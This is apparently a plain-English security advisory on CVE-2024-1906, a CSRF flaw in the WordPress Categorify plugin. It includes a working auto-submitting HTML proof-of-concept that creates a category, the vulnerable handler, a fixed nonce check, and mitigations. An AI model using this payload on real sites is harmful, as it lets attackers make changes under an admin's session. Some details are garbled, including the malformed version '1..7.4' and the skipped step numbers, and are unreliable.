The WordPress ecosystem is no stranger to security risks, and CVE-2024-1906 is one more on the growing list. This vulnerability affects the popular Categorify plugin, which makes it easy for users to manage categories for posts and custom post types. Here, we break down—in plain English—exactly how this Cross-Site Request Forgery (CSRF) flaw works, show you a proof-of-concept exploit, and share resources to dig deeper.

What is CVE-2024-1906?

CVE-2024-1906 is a vulnerability in *all versions* of Categorify *up to and including 1..7.4*. The core issue is that the plugin’s categorifyAjaxAddCategory function does not properly check for a valid nonce (a security token used in WordPress to prevent CSRF). That means:

- Anyone can trick a logged-in admin (or another user with manage_categories capabilities) into adding a new category without their consent.

How Does the Exploit Work?

WordPress plugins are supposed to protect certain actions using a *nonce*. It’s a unique code that is supposed to be included before allowing sensitive actions—like adding categories. Categorify skips this safety check for the category-adding AJAX handler.

This is a textbook CSRF: An attacker sets up a web page that sends a crafted POST request to the targeted WordPress site. If an admin visits this page while logged in anywhere on the same browser, the request runs with their admin privileges.

Proof-of-Concept (PoC) Exploit

Here’s a sample HTML page that carries out the attack. This assumes the admin is currently logged in to their site (and thus has an active session/cookie).

<!DOCTYPE html>
<html>
  <body>
    <form action="https://victim.wordpress.site/wp-admin/admin-ajax.php"; method="POST" id="csrf_form">
      <input type="hidden" name="action" value="categorifyAjaxAddCategory">
      <input type="hidden" name="data[name]" value="HackedByCSRF">
      <input type="hidden" name="data[parent]" value="">
      <input type="hidden" name="data[description]" value="This category was added via CSRF">
    </form>
    <script>
      document.getElementById("csrf_form").submit();
    </script>
  </body>
</html>

3. The hidden form auto-submits and POSTs data to /wp-admin/admin-ajax.php.

The plugin receives the AJAX request and, due to no nonce verification, blindly trusts the request.

5. A new category named “HackedByCSRF” is created, which can be used to plant content, launch additional attacks, or just create a mess.

What’s the Danger?

- Automation: Attackers can automate adding lots of junk categories, creating confusion and more spam opportunities.
- Pivot Attacks: If you allow contributor, editor, or guest posts, attackers might use the new categories to organize (malicious) content for further attacks.
- Recon: Proves someone is an admin (if the request succeeds, they’re logged in) – for follow-up phishing or targeting.

The key failure is this handler

add_action( 'wp_ajax_categorifyAjaxAddCategory', 'categorifyAjaxAddCategory' );

function categorifyAjaxAddCategory() {
    // No nonce check!
    // ...adds category based on POST data...
}

A nonce check should look like this

if ( ! isset( $_POST['_wpnonce'] ) || ! wp_verify_nonce( $_POST['_wpnonce'], 'categorify_add_category' ) ) {
   wp_die( 'Nonce verification failed!' );
}

But it’s missing or improperly implemented.

Short term: Deactivate the Categorify plugin if you must, until an update is released.

- Permanent fix: Upgrade to the first safe version after 1..7.4. Check WordPress.org plugin page for updates.
- Mitigation: Restrict admin access to trusted locations. Warn administrators not to click suspicious links or interact with untrusted content while logged in.

References and Further Reading

- Categorify Plugin on WordPress.org
- WPScan Vulnerability Report for Categorify
- Wordfence Advisory on Categorify CSRF
- General: What is Cross-Site Request Forgery?

Conclusion

CVE-2024-1906 is an approachable, but serious, WordPress plugin bug. If your site or clients’ sites use Categorify, take action right away—*and remember*: Always look for regular updates and security best practices in every plugin you use.

Timeline

Published on: 02/27/2024 11:15:08 UTC
Last modified on: 02/27/2024 14:19:41 UTC